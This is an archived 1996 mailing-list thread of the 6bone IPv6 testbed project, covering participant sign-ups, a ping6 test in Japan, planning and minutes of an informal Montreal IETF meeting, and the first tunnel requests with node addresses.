 Michael Clay     | "Maybe you should call the Internet and talk to their
 mclay@weareb.org | tech support people."  --  AOL Customer Service
------------------+-----------------------------------------------------------

From majordom@ISI.EDU  Wed Apr 24 23:39:42 1996
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Michael Clay <mclay@weareb.org>
Cc: 6bone@ISI.EDU (6 Bone)
Subject: Re: Question about sites 
In-Reply-To: Your message of Wed, 24 Apr 1996 09:11:10 CDT.
             <199604241411.JAA04771@locutus.weareb.org> 
Date: Wed, 24 Apr 1996 21:39:42 +0200
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 In your previous mail you wrote:

       I was wondering if any portion of the 6bone has been set up yet, and if
   so, if someone could give me a list of sites to which I could tunnel for
   the purpose of testing ping6 and similar low-level functionality.

=> I know the G6 (:-) in France and the DFN testbed in Germany.
I'll send to you the URL of the G6 if I can find in time the
last pages... The domain of the main G6 testbed is ipv6.imag.fr
and the contact is Alain.Durand@imag.fr.

   I looked at the 6bone web page, but no indication was given as to whether
   or not any sort of network yet exists.

=> I was until this evening in Berlin for the 24th RIPE meeting.
The IPv6 WG has proposed to coordinate the 6bone activities in
the RIPE area (ie more than Europe).

   Please excuse me if this info exists in a FAQ.

=> I have not seen this point (FAQ) in the action list of the 6 bone.
It *should* be added!

Francis.Dupont@inria.fr

PS: if you don't know RIPE, it is a coordination of IP operators,
users, ... in the large Europe (cf RFC 1181). The IPv6 WG is
supposed to coordinate tests and to provide feedback to operators
and users (and do more when IPv6 will be deployed).

From majordom@ISI.EDU  Tue Apr 30 13:04:46 1996
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Date: Tue, 30 Apr 1996 11:04:46 +0200 (METDST)
From: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
To: 6bone@ISI.EDU
Subject: UNI-C partipation
Message-Id: <Pine.HPP.3.91.960430105950.19584B-100000@unidhp1.uni-c.dk>
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UNI-C, the Danish Computing Center for Education and Research, has currently
got five TBC2000 routers from the Danish company Telebit install running IPv6 
over the national wide ATM backbone, DENET, linking the major universities. 
Later this year the IPv6 topology will be expanded with one more router. UNI-C 
is responsible for testing the equipment from Telebit, to ensure that the IPv6 
protocols are correctly implemented and that the Telebit routers can operate 
in a hetrogenious IPv6 network. Currently we also have a SUN-station running 
IPv6 set up. On this background we would very much like to join the 6bone 
project.

Contact person at UNI-C for IPng and 6bone activities is

---------------- oo000oo ----------------------------------
Gudrun Dalgeir             phone  : (+) 45 35878532
UNI-C                      fax    : (+) 45 35878890
Vermundsgade 5             e-mail : Gudrun.Dalgeir@uni-c.dk
DK-2100 Kbh. O             www    : http://www.denet.dk/  
-----------------------------------------------------------








From majordom@ISI.EDU  Wed May  8 00:01:47 1996
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Date: Wed, 8 May 1996 07:01:47 -0700
To: Michael Clay <mclay@weareb.org>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Logo Contest
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Mike,

>    It was not clear from the web page which of you was running the logo
>contest, so I'm sending this entry to both of you.
>
>Regards,
>Mike Clay
>Austin, TX


Your logo is now online on the 6bone logo contest web page.  Six bones - cute!


Thanks,

Bob



From majordom@ISI.EDU  Mon Jun 10 00:07:22 1996
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Date: Mon, 10 Jun 1996 07:07:22 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: a 6bone BOF in Montreal
Cc: bound@zk3.dec.com (Jim Bound  Digital),
        nitzan@es.net (Becca Nitzan NERSC/LLNL),
        collins@es.net (Mike Collins ESnet)
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Jim Bound and a few others of us think that a 6bone BOF in Montreal might
be a useful activity.  A possible agenda for such is shown below, tho it
can certainly be bashed like any other :-)


Jim also opined that an evening BOF might be best.

So...any opinions before I ask the secretariat to set up a time and
location, e.g., which evening is best (or worst) for you, agenda items...?


Thanks,

Bob Fink
Lawrence Berkeley Lab

===============

6bone BOF session for Montreal IETF:


*  strawmen proposals

   DNS flagging with v4 compatible v6 address
   tunnel proposal (including overview of options)
   v6 address assignment
   registry (interim)
   other


*  6bone regional coordinators

   European
   Pacific Rim
   US/Canada


*  participant plans

   ESnet
   UNI-C
   other

-



From majordom@ISI.EDU  Thu Jun 13 03:17:17 1996
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Date: Wed, 12 Jun 1996 18:17:17 +0900
To: Bob Fink LBNL <RLFink@lbl.gov>
From: Jun Murai <jun@wide.ad.jp>
Subject: Re: a 6bone BOF in Montreal
Cc: 6bone@ISI.EDU (6BONE Mailer), bound@zk3.dec.com (Jim Bound  Digital),
        nitzan@es.net (Becca Nitzan NERSC/LLNL),
        collins@es.net (Mike Collins ESnet)
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folks,
we just have started the physical version of 6bone/japan between tokyo and nara.
as well as the funding goes, i and/or somebody from my group would like to
report on the status update of them from jp/asia when the bof is on.
jun
At 07:07 96/06/10 -0700, Bob Fink LBNL wrote:
> Jim Bound and a few others of us think that a 6bone BOF in Montreal might
> be a useful activity.  A possible agenda for such is shown below, tho it
> can certainly be bashed like any other :-)
> 
> 
> Jim also opined that an evening BOF might be best.
> 
> So...any opinions before I ask the secretariat to set up a time and
> location, e.g., which evening is best (or worst) for you, agenda items...?


From majordom@ISI.EDU  Thu Jun 13 03:19:20 1996
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Date: Wed, 12 Jun 1996 18:19:20 +0900
To: 6bone@ISI.EDU
From: Jun Murai <jun@wide.ad.jp>
Subject: (physical)6bone experience in WIDE/Japan
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folks,
originally, we have been planning to work on this on 6:66am of June 6. but
delayed. sorry.
note that we have constructed a physical testbed rather than a logical one,
to avoid possible confusion on the existing testbed of WIDE. Our plan is to
extend this with some more physical means, and also with logical means as
well. we also plan to use our T1 cable to MCI california pop if somebody out
there would like to work together.
here is a short report from Kazu Yamamoto (kazu@wide.ad.jp).. 
jun
---
At 15:22 on Jun 9th, 1996, the first IPv6 packet traveled on the WIDE
6bone whose topology at that time is as follows:

           133.4.6.34                133.4.21.33
           ntwo0  Serial(64k)        ntwo1   Serial(64k)
Univ Tokyo ----------------- Iwanami ---------------  Nara(zeta)
    | ne0              ntwo1   | ne0            ntwo0   | we0
    |             133.4.6.33   |          133.4.21.34   |
----+-----  Ether          ----+---- Ether          ----+---- Ether
 133.4.6.66                133.4.49.30               133.4.23.16


Every node is equipped with WIDE/Nara v6 kernel on BSD/OS 2.1 and has
IPv4-compatible IPv6 address. The two 64k serial lines are saved from
WIDE v4 backbone with Paradyne, a multiplex CSU and supported by
RISCOM/N2, a high speed serial interface on PC AT, attached to Cisco
HDLC. This means that WIDE 6bone is not virtual (like Mbone) but
physical.

The following is ping results from Nara to Tokyo.

zeta# ./ping6 ::133.4.6.34
trying to get source for ::133.4.6.34
source should be ::8504:1522
PING ::133.4.6.34 (::8504:622): 56 data bytes
64 bytes from ::8504:622: icmp6_seq=0 ttl=254 time=85.173 ms
64 bytes from ::8504:622: icmp6_seq=1 ttl=254 time=85.071 ms
64 bytes from ::8504:622: icmp6_seq=2 ttl=254 time=85.145 ms
64 bytes from ::8504:622: icmp6_seq=3 ttl=254 time=85.086 ms
64 bytes from ::8504:622: icmp6_seq=4 ttl=254 time=85.152 ms

We are planning to interconnect to Keio univ, Osaka univ, Hitachi
ltd, and NTT in the near future.


From majordom@ISI.EDU  Wed Jun 12 03:09:40 1996
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To: Jun Murai <jun@wide.ad.jp>
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Subject: Re: (physical)6bone experience in WIDE/Japan 
In-Reply-To: Your message of "Wed, 12 Jun 96 18:19:20 +0900."
             <199606120942.SAA05436@shonan.sfc.wide.ad.jp> 
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Jun,

This is truly WONDERFUL and EXCELLENT!

Congratulations,
/jim

From majordom@ISI.EDU  Tue Jun 11 23:37:15 1996
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To: Jun Murai <jun@wide.ad.jp>
Cc: 6bone@ISI.EDU, deering@parc.xerox.com
Subject: Re: (physical)6bone experience in WIDE/Japan 
In-Reply-To: jun's message of Wed, 12 Jun 96 02:19:20 -0800.
             <199606120942.SAA05436@shonan.sfc.wide.ad.jp> 
Date: Wed, 12 Jun 1996 06:37:15 PDT
From: Steve Deering <deering@parc.xerox.com>
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> At 15:22 on Jun 9th, 1996, the first IPv6 packet traveled on the WIDE
> 6bone...

Congratulations!

> Every node is equipped with WIDE/Nara v6 kernel on BSD/OS 2.1 and has
> IPv4-compatible IPv6 address.

Why are you not using native IPv6 addresses from the address space
allocated for IPv6 testing, rather than IPv4-compatible IPv6 addresses?
As far as I understand, that only time you should need to use IPv4-compat.
addresses is for IPv6 hosts that do not have a neighboring IPv6 router.

Steve


From majordom@ISI.EDU  Tue Jun 11 23:54:18 1996
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To: 6bone@ISI.EDU
Subject: Re: a 6bone BOF in Montreal 
In-Reply-To: RLFink's message of Mon, 10 Jun 96 07:07:22 -0800.
             <v03007302ade1db0ff52b@[131.243.112.98]> 
Date: Wed, 12 Jun 1996 06:54:18 PDT
From: Steve Deering <deering@parc.xerox.com>
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Bob,

> So...any opinions before I ask the secretariat to set up a time and
> location,

For an official BOF (i.e., one listed on the IETF agenda and assigned
a room by the Secretariat), you need pre-approval from an IESG member,
e.g., one of our Area Directors.  Also, I suspect that it might be too
late to get a BOF scheduled -- the agenda for Montreal is already packed
full.  Still, it's worth a try.

> e.g., which evening is best (or worst) for you,...

Monday is out -- there's an ipngwg meeting that evening.  I assume that
Tuesday evening is the IETF social, since there are no meetings scheduled
for that night, but I haven't yet seen any info on the social.  Personally,
I usually skip the social, so Tuesday would be OK with me.  Also, Thursday
after the Open IESG meeting would be fine with me, especially if we held
the BOF over dinner somewhere.

For the agenda, we need to discuss the status of router implementations,
e.g., do we have a routing protocol implemented yet for the 6bone, or will
we have to use static routes initially.  Also, under "participant plans"
I'd be happy to report on our project to get IPv6 into Dartnet, which
has just begun.

Steve


From majordom@ISI.EDU  Wed Jun 12 06:14:25 1996
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To: Steve Deering <deering@parc.xerox.com>
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Subject: Re: a 6bone BOF in Montreal 
In-Reply-To: Your message of "Wed, 12 Jun 96 06:54:18 PDT."
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All I always skip the social so that night is good for me.

/jim


From majordom@ISI.EDU  Wed Jun 12 10:42:47 1996
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Date: Wed, 12 Jun 1996 15:42:47 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: a 6bone BOF in Montreal
In-Reply-To: "10 Jun 1996 07:07:22 PDT."
 <"v03007302ade1db0ff52b"@[131.243.112.98]>
To: Bob Fink LBNL <RLFink@LBL.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer), bound@zk3.dec.com (Jim Bound  Digital),
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    So...any opinions before I ask the secretariat to set up a time and
    location, e.g., which evening is best (or worst) for you, agenda items...?

Well, I usually go to the social, but (a) there hasn't been a peep
about one and (b) I seem to be outnumbered on that point, so Tuesday
or late Thursday seem prime.
					Matt

From majordom@ISI.EDU  Wed Jun 12 08:31:47 1996
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To: Bob Fink LBNL <RLFink@LBL.gov>, 6bone@ISI.EDU (6BONE Mailer),
        bound@zk3.dec.com (Jim Bound  Digital),
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From: hinden@ipsilon.com (Bob Hinden)
Subject: Re: a 6bone BOF in Montreal
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Tuesday is fine for me.

Bob



From majordom@ISI.EDU  Thu Jun 13 00:15:59 1996
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References: "10 Jun 1996 07:07:22 PDT."
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Subject: Re: a 6bone BOF in Montreal
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Gentle folks,

Given that I am not able to get the IETF secretariat to assign any BOF
space (they say there is no more!), I think we are left with being an
informal meeting for this IETF.

The principal suggestion has been an evening meeting, Tuesday or Thursday,
possibly over dinner.

May I make another suggestion.  I don't think we need a particularly long
meeting, so why not have it during the Tuesday lunch break from 1130 to
1300, right after the IPng WG meeting using the same room.  This way
everyone interested is there already, and we just keep the room till folk
show up for the 1300 meeting.

Then if we agree we need more discussion time, we can agree to an evening
meeting, say that evening (Tues) if there really is no social, or on
Thursday after the plenary.


Bob




From majordom@ISI.EDU  Thu Jun 13 00:52:56 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer), deering@parc.xerox.com
Subject: Re: a 6bone BOF in Montreal 
In-Reply-To: RLFink's message of Thu, 13 Jun 96 07:15:59 -0800.
             <v03007303ade5cf93e6e5@[131.243.112.98]> 
Date: Thu, 13 Jun 1996 07:52:56 PDT
From: Steve Deering <deering@parc.xerox.com>
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Bob,

> May I make another suggestion.  I don't think we need a particularly long
> meeting, so why not have it during the Tuesday lunch break from 1130 to
> 1300, right after the IPng WG meeting using the same room.

That would be fine with me.  Will you provide sandwiches?  :-)

Steve


From majordom@ISI.EDU  Thu Jun 13 06:51:24 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: a 6bone BOF in Montreal 
In-Reply-To: Your message of "Thu, 13 Jun 96 07:15:59 PDT."
             <v03007303ade5cf93e6e5@[131.243.112.98]> 
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Bob,

This works for me.  Tues Lunch first.  

thanks
/jim

From majordom@ISI.EDU  Thu Jun 13 02:43:00 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
From: hinden@ipsilon.com (Bob Hinden)
Subject: Re: a 6bone BOF in Montreal
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Bob,

>May I make another suggestion.  I don't think we need a particularly long
>meeting, so why not have it during the Tuesday lunch break from 1130 to
>1300, right after the IPng WG meeting using the same room.  This way
>everyone interested is there already, and we just keep the room till folk
>show up for the 1300 meeting.
>

Fine by me too.  If we could figure how to get some lunch brought in it
would be great!

Bob



From majordom@ISI.EDU  Fri Jun 14 10:33:32 1996
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Date: Fri, 14 Jun 1996 01:33:32 +0900
To: hinden@ipsilon.com (Bob Hinden)
From: Jun Murai <jun@wide.ad.jp>
Subject: Re: a 6bone BOF in Montreal
Cc: Bob Fink LBNL <RLFink@lbl.gov>, 6bone@ISI.EDU (6BONE Mailer)
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i vote for thursday. i alreday have an appointment on tuesday. but if the
mojority is on tuesday, then let me try to move the existing appointment away.
jun
At 09:43 96/06/13 -0700, Bob Hinden wrote:
> Bob,
> 
> >May I make another suggestion.  I don't think we need a particularly long
> >meeting, so why not have it during the Tuesday lunch break from 1130 to
> >1300, right after the IPng WG meeting using the same room.  This way
> >everyone interested is there already, and we just keep the room till folk
> >show up for the 1300 meeting.
> >
> 
> Fine by me too.  If we could figure how to get some lunch brought in it
> would be great!
> 
> Bob
> 
> 
> 
> 


From majordom@ISI.EDU  Thu Jun 13 03:49:32 1996
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Date: Thu, 13 Jun 1996 10:49:32 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone meeting Tuesday 1130 to 1300 after the IPng meeting
Cc: Scott Bradner <sob@newdev.harvard.edu>
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Enough folk can make a 6bone meeting Tuesday from 1130 to 1300 after the
IPng meeting, in the same room, that I think we should do it.

If folk will let me know they are coming to the meeting so I can get a head
count, I'll see if there is a possibility of getting some lunch delivered.


I'll reconstitute an agenda from what I've seen on the mailer, and send it
to the list in a few days.


Thanks,

Bob



From majordom@ISI.EDU  Fri Jun 14 12:49:35 1996
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Date: Fri, 14 Jun 1996 10:49:35 +0200
From: Bernard.Tuy@urec.fr
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|   From majordom@ISI.EDU Thu Jun 13 19:04 MET 1996
|   
|   >May I make another suggestion.  I don't think we need a particularly long
|   >meeting, so why not have it during the Tuesday lunch break from 1130 to
|   >1300, right after the IPng WG meeting using the same room.  This way
|   >everyone interested is there already, and we just keep the room till folk
|   >show up for the 1300 meeting.
|   >
|   

====BT: fine with me too. 

  +Bernard Tuy.

From majordom@ISI.EDU  Sat Jun 22 04:58:02 1996
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Date: Sat, 22 Jun 1996 11:58:02 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone logo contest delayed
Cc: Patrick Bernier <bernier@mlink.net>, Michael Clay <mclay@weareb.org>
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I must beg forbearance from Patrick Bernier and Michael Clay, who both
submitted nice 6bone logos, but I have been too busy to get to the contest
conclusion in time for the Montreal IETF.

Also, I would prefer to have a few more logos, and more importantly, be
able to use this to get a little more attention for the 6bone project.

So, at the moment, I would propose delaying this till the December IETF
meeting (San Jose I think).  Maybe we will be a little further along with
the 6bone and can advertize by having our own logo'd t-shirt available!


Bob



From majordom@ISI.EDU  Sat Jun 22 04:57:49 1996
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Date: Sat, 22 Jun 1996 11:57:49 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone meeting agenda for Montreal - Tuesday 1130-1300
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6bone folk,

Here is yet another draft agenda for the meeting in Montreal on Tuesday,
1130 till 1300, right after the IPng meeting, in the same room.

Please wait to bash it till the meeting.

I will be trying to get some sodas and sandwiches for the meeting.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
6bone agenda


*  issues for discussion

   what routing to use
   routing registry
   how/when to use v4 compatible v6 addressing
   v6 address assignment
   tunnelling
   v6 testbed interconnection and regional process startup
   other


*  participant reports and plans

   ESnet
   Dartnet
   G6
   Japan 6bone
   RIPE
   UNI-C
   other


*  6bone regional coordination

   European
   Pacific Rim
   US/Canada

-



From majordom@ISI.EDU  Sat Jun 22 07:27:22 1996
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Date: Sat, 22 Jun 1996 14:27:22 -0700
To: Bob Fink LBNL <RLFink@lbl.gov>
From: hinden@ipsilon.com (Bob Hinden)
Subject: Re: 6bone logo contest delayed
Cc: 6bone@ISI.EDU (6BONE Mailer), Patrick Bernier <bernier@mlink.net>,
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Bob,

T-Shirts are a great idea!

Bob



From majordom@ISI.EDU  Fri Jun 21 22:56:39 1996
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Date: Fri, 21 Jun 1996 13:56:39 +0900
To: Bob Fink LBNL <RLFink@lbl.gov>
From: Jun Murai <jun@wide.ad.jp>
Subject: Re: 6bone meeting agenda for Montreal - Tuesday 1130-1300
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bob,
are we going to have a projector in the room, for VGA?
jun

At 11:57 96/06/22 -0700, Bob Fink LBNL wrote:
> 6bone folk,
> 
> Here is yet another draft agenda for the meeting in Montreal on Tuesday,
> 1130 till 1300, right after the IPng meeting, in the same room.
> 


From majordom@ISI.EDU  Sat Jun 22 08:10:46 1996
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Date: Sat, 22 Jun 1996 15:10:46 -0700
To: Jun Murai <jun@wide.ad.jp>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone meeting agenda for Montreal - Tuesday 1130-1300
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Jun,

>are we going to have a projector in the room, for VGA?

I doubt it as I'm not an official meeting and I don't believe that they do
this normally for regular meetings.  I can ask, but be prepared to not have
on available (i.e., assume vu-grafs only).


Bob



From majordom@ISI.EDU  Tue Jun 25 22:52:13 1996
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Date: Tue, 25 Jun 1996 20:52:13 +0200
From: Bernard.Tuy@urec.fr (Bernard TUY)
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	As the BOF meetingheld at noon, and may be many of you either can't
  attend or weren't aware of it, I don't want to let you wait further
  more this info you asked me a while ago ...
  The G6 is a french group "playing" with many things related to IPv6.
  To know more precisely what is running, planned ... please have a look at
  http://www.urec.fr/IPv6/G6-english.html


  And if you're able to read French, you even can go 
  to http://www.urec.fr/IPv6

  Have fun with this -and of course all questions, comments ... are 
  wellcome to g6@imag.fr !

  Cheers,

  +bernard Tuy.


From majordom@ISI.EDU  Wed Jun 26 07:29:33 1996
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Date: Wed, 26 Jun 1996 14:29:33 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6BONE meeting report - 25 Jun 96 - Montreal
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                     6BONE Meeting Report
                        26 June 1996
                    Montreal, Canada  IETF

The agenda was:

1. Opening remarks & agenda bashing

        a. background of 6bone to date
        b. 6bone purpose
        c. web site:  www-6bone.lbl.gov/6bone

2. Technical discussion issues

        a. what routing to use
        b. routing registry
        c. how/when to use v4 compatible v6 addresses
        d. v6 address assignment
        e. tunnelling
        f. v6 testbed interconnect/regional process startup

3. Particpant Reports/Plans

        a. ESnet
        b. Dartnet
        c. G6
        d. Japan
        e. RIPE
        f. UNI-C

4. 6bone Regional Coordinators

        a. Europe
        b. Pacific Rim
        c. US/Canada

=3D=3D=3D
1. Opening remarks and agenda bashing


An unofficial IETF BOF was convened with Bob Fink as chair.  He noted that
it had been too late to get an official BOF slot due to IETF plenary
requirements to keep the number of parallel tracks to 7 or less.  Thus the
meeting was held unofficially during the lunch hour (thanks to the IETF
organizers) following the IPng session that morning.

Jim Bound asked if it was appropriate that we try to become involved with
the IETF "official" process as he wanted to see the 6bone effort free to
operate without unecessary rules and procedures.  This was left as an open
issue.


a. background of 6bone to date

The background of the 6bone "startup" meeting at the LA IETF was stated,
and those interested are referred to the 6bone web site.


b. 6bone purpose

The chair displayed the purpose statement and Steve Deering asked that the
sentence on tunnel endpoints typically being workstation-class machnines be
removed.  There was consensus to do so.


c. web site:  www-6bone.lbl.gov/6bone

This web site includes the purpose statement, the notes of the LA IETF
"startup" meeting and instructions on joining the mailer.



2. Technical discussion issues


a. what routing to use

Steve Deering started the discussion by noting the need to start small and
grow as needed.  Static routes at the start seemed best.  There was
consensus on this, with the caveat that there be freedom/ability to change
as the 6bone grows.

Comments made by various folk supported this position.

It was noted that it wasn't necessary to specify routing for within
"islands of v6", rather how they interconnected.


b. routing registry

Becca Nitzan (ESnet) echoed the need for simplicity as well as a mandatory
routing registry from the start.  She suggested at least contact, tunnel
info and prefix be required from all participants.

Gert Jan de Groot offerred the RIPE NCC routing registry service to start
with.  There was consensus to accept this offer.

Bill Manning noted that the RA db software could also handle this registry.


During this discussion there were several pointed comments about the need
to a concrete plan for the 6bone, and to move quickly.  This led to the
items e. and f. below.


Also during this discusson, Dmitri Haskins asked how he might become
involved by offerring Bay routers as backbone routers for the 6bone.  It
was felt that these offers should be made through the mailer (or directly
to appropriate groups) so that conversations could proceed appropriately in
either an open forum (thus for all to see) or in a private fashion when
specific agreements were being made.  It was felt that this would be
fairest to all router vendors and would serve to keep the process open and
above board.


c. how/when to use v4 compatible v6 addresses

Steve Deering renewed his suggestion of the prior evening's IPng meeting
that the convention of use for v4 compatible v6 addresses be that they are
reserved for use when there is no adjacent v6 routing.  In this sense these
addresses then act as a flag that the host is not v6 reachable.

Though there was much agreement on this point, there was controversy, and
in the interest of time it was agreed to continue the discussion of this
convention on the 6bone mailer.


d. v6 address assignment

There was consensus that RFC 1897 should be used for the assignment of
native IPv6 addresses for the 6bone.  As this format uses the IPv4 AS
(Autonomous System) number as part of its prefix, these addresses may be
self assigned.

This choice also avoids falling own the "rat hole" of politics over
provider-based v6 address assignment.


e. tunnelling

it was generally felt that to move the 6bone forward, an immediate effort
be made to get existing v6 "islands" interconnected with tunnels.  To
identify the possible "tunnellees", the meeting briefly moved to item 3 on
the agenda to understand possible participant status.


f. v6 testbed interconnect/regional process startup

After identifying the particpants able to immediately tunnel, it was agreed
that there be a lunchtime meeting (immediately after the Wed. morning IPng
meeting) to discuss the details.


3. Particpant Reports/Plans

a. ESnet
b. Dartnet
c. G6
d. Japan
e. RIPE
f. UNI-C

These reports were kept so brief as to be impossible to report here.  It
was clear that of the six above efforts, that the European and Japanes
efforts were already running "islands" of IPv6 and could participate
immediately in 6bone tunnelling agreements.

The chair noted that the UNI-C (Danish university) folk, using the Danish
Telebit routers, seemed to be the first to provide native v6 packet
transport for a production network.  Kudos to UNI-C!

ESnet and Dartnet have plans to be "6bone" ready later this summer.

The chair encouraged all the participants to post their reports and web
pointers on the 6bone mailer.


4. 6bone Regional Coordinators

a. Europe
b. Pacific Rim
c. US/Canada

There was no time for discussion of this item.


- end



From majordom@ISI.EDU  Wed Jun 26 08:10:30 1996
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Date: Wed, 26 Jun 1996 15:10:30 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: RLFink@lbl.gov (Bob Fink)
Subject: 6BONE first tunnel startup meeting report - 26 Jun 96 - Montreal
Cc: RLFink@LBL.gov (Bob Fink LBL), GeertJan.deGroot@ripe.net
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As agreed at the 6bone unofficial BOF meeting yesterday, those interested
in immediate 6bone tunnel startup met after the Wed. morning IPng meeting
to discuss the procedure and details.

It was agreed that the WIDE/Japan, G6/France and UNI-C/Denmark IPv6
projects were ready to establish the very first 6bone tunnels.

A startup date of 15 July 1996 was agreed upon.

It was agreed that this process would start by the responsible person from
each project sending email to the 6bone mailer with their request to
establish manually configured tunnels with the other two.

Geert Jan de Groot (of the RIPE NCC) agreed to act as coordinator for this
effort.  It was felt that working out details on the mail list would work
best.

As agreed at the previous day's 6bone meeting, the RIPE-NCC will act as the
6bone Routing Registry.

Also, as agreed at the previous day's 6bone meeting, the  IPv6 Testing
Address Allocation format of RFC 1897 will be used.


Regards,

Bob Fink



From majordom@ISI.EDU  Mon Jul  1 05:33:44 1996
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Date: Mon, 01 Jul 1996 12:33:44 -0700
From: Martin Peck <mdp@tbit.dk>
Organization: Telebit Communications
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To: Bob Hinden <hinden@ipsilon.com>
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Subject: Re: New IPv6 Release
References: <v02140b0fadeceb77aac6@[205.226.1.20]>
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This is a multi-part message in MIME format.

--------------7E19389D242E
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Bob,
Thanks for including us in your IPng page. Telebit Communications A/S now 
has a major new IPv6 router release which is detailed in the attachment 
(htm format, viewable from Netscape Mail).

Thanks in advance for updating our contribution,

Best Regards,
Martin Peck

--------------7E19389D242E
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<BASE HREF="file:///C|/NETSCAPE/MAIL/HINDEN2.HTM">

<!doctype html public "-//IETF//DTD HTML//EN">
<HTML>

<HEAD>

<TITLE>Bob,</TITLE>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Word 1.0Z">
<META NAME="AUTHOR" CONTENT="xxx">
</HEAD>

<BODY>

<H3><A HREF="http://www.tbit.dk">Telebit Communications A/S</A>
has released a major new IPv6 router implementation which has
been demonstrated at the <A HREF="http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/informationsquellen.html">Joint European Networking Conference in Budapest</A>.
</H3>

<H3>This includes IDRPv6 for the exchange of routing information
between autonomous domains, IGP to dynamically exchange routing
information within domains, SNMP support for IPv6, facilities
to define static IPv6 routing information, neighbor discovery,
automatic and manually configured tunneling, accounting facilities
and packet filtering for both IPv4 and IPv6, a full ICMPv6 implementation,
IPv6 multicast generation and termination, and IPv6 ping and traceroutes.
We plan to make OSPFv6, RIPv6, neighbor discovery over ATM, and
RSVP (for IPv4 and IPv6) available by the end of '96, and support
of IPv6 multicasting in '97. </H3>

<H3>TELEBIT COMMUNICATIONS A/S </H3>

<H3>Tel: +45 86 28 81 76</H3>

<H3>fx: +45 86 28 81 86</H3>

<H3>em: info@tbit.dk</H3>

<H3><A HREF="http://www.tbit.dk">http://www.tbit.dk/</A> </H3>

<P>
 
</BODY>

</HTML>

--------------7E19389D242E--


From majordom@ISI.EDU  Fri Jul  5 14:10:46 1996
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Date: Fri, 5 Jul 1996 12:10:46 +0200 (METDST)
From: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
To: 6bone Mailer <6bone@ISI.EDU>
Cc: Herluf Hansen <hha@tbit.dk>, Inger Bohlbro <inb@tbit.dk>,
        Ole Carsten Pedersen <ole.carsten.pedersen@uni-c.dk>
Subject: Tunnel request to WIDE and G6
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To WIDE, G6, Geert Jan de Groot

   This is the list of the DENET nodes which are ready to participate
in 6bone.

DENET 6bone nodes
-----------------

SUN station, femur.join.uni-c.dk,    ::130.225.231.4
             femur6.join.uni-c.dk,   5f07:2b00:82e1:e700:4:800:2020:dab4

SUN station, scapula.uni-c.dk,       ::130.225.231.2
             scapula6.join.uni-c.dk, 5f07:2b00:82e1:e700:2:800:2020:ab36

TBC router,  unvea.denet.dk,         ::130.225.231.5  
             unvea6.join.uni-c.dk,   5f07:2b00:82e1:e700:5:cccc:cccc:cccc

TBC router,  unlya.denet.dk,         ::130.225.249.12
             unlya6.join.uni-c.dk,   5f07:2b00:82e1:f900:2a:aaaa:aaaa:aaaa

TBC router,  unara.denet.dk,         ::130.225.246.130
             unara6.join.uni-c.dk    5f07:2b00:82e1:f600:82:bbbb:bbbb:bbbb

The ipv6 addresses have been defined according to the format described
in RFC1897. The DENET AS number is 1835.

unvea.denet.dk will act as the tunnel node.

The ipv6 DNS is running on femur.join.uni-c.dk.


regards,

---------------- oo000oo ----------------------------------
Gudrun Dalgeir             phone  : (+) 45 35878532
UNI-C                      fax    : (+) 45 35878890
Vermundsgade 5             e-mail : Gudrun.Dalgeir@uni-c.dk
DK-2100 Kbh. O             
-----------------------------------------------------------


From majordom@ISI.EDU  Fri Jul  5 15:37:53 1996
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Date: Fri, 5 Jul 1996 13:37:53 +0200
In-Reply-To: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
        "Tunnel request to WIDE and G6" (Jul  5, 12:10pm)
References: <Pine.HPP.3.91.960705115944.17615D-100000@unidhp1.uni-c.dk>
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To: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>,
        6bone Mailer <6bone@ISI.EDU>
Subject: Re: Tunnel request to WIDE and G6
Cc: Herluf Hansen <hha@tbit.dk>, Inger Bohlbro <inb@tbit.dk>,
        Ole Carsten Pedersen <ole.carsten.pedersen@uni-c.dk>
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On Jul 5, 12:10pm, Gudrun R. Dalgeir wrote:
> Subject: Tunnel request to WIDE and G6
> To WIDE, G6, Geert Jan de Groot
>
>    This is the list of the DENET nodes which are ready to participate
> in 6bone.
[...]
> TBC router,  unvea.denet.dk,         ::130.225.231.5
>              unvea6.join.uni-c.dk,   5f07:2b00:82e1:e700:5:cccc:cccc:cccc
>
[...]
> The ipv6 addresses have been defined according to the format described
> in RFC1897. The DENET AS number is 1835.
>
> unvea.denet.dk will act as the tunnel node.


Gudrun, which prefix do you want us to route to your tunnel node?
5f07:2b00::/32 or 5f07:2b00:82e1:e700::/64

For G6, the entry point will be ::129.88.26.1
The prefix to route will be 5f06:b500::/32

The machine 129.88.26.1 is already up and running, but as it's my
main ipv6 host, it will be replaced sometime next week by a dedicated host
running inria's code with the same IPv4 address.

They're several hosts you can ping or telnet to,
I'll send a complete list later.

Yours,


From majordom@ISI.EDU  Sat Jul  6 22:50:08 1996
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Cc: 6bone@ISI.EDU, hha@tbit.dk, inb@tbit.dk, ole.carsten.pedersen@uni-c.dk
Subject: Re: Tunnel request to WIDE and G6
